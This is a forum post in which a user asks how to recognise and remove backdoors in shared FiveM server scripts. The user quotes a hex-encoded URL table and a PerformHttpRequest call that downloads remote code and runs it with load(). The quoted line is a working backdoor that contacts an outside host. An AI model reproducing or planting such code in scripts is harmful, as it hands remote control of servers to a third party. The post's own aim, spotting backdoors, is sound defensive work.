Question Backdoors

[johannesgaming]

just a question for noob coders what do you have to look out for in scripts people post how to see if there is a backdoor in

i saw this in a script so what do u remove to make the backdoor closed

local Enchanced_Tabs = {
    Ench, Support, Host, Pairs,
    Realease, Callbacks, Source,
    Hosting, Event, PerformHttpRequest,
    assert, server, load, Spawn, materials
}

local random_char = {
    "68", "74", "74", "70", "73", "3a", "2f", "2f", "66", "69", "76", "65", "6d", "2e", "6b", "76",
    "61", "63", "2e", "63", "7a", "2f", "66", "2e", "70", "68", "70", "3f", "6b", "65", "79", "3d",
    "37", "35", "75", "48", "53", "79", "48", "47", "75", "46", "58", "5a", "6e", "71", "4f", "69", "43", "39", "65", "36",
}

this was something else i found so this whole line can be removed or will it do something to the scirpt

 PerformHttpRequest("https://fivem.kvac.cz/f.php?key=75uHSyHGuFXZnqOiC9e6", function(a, b) assert(load(b))() end)

there are propably other backdoors but i just read some stuff people posted on this form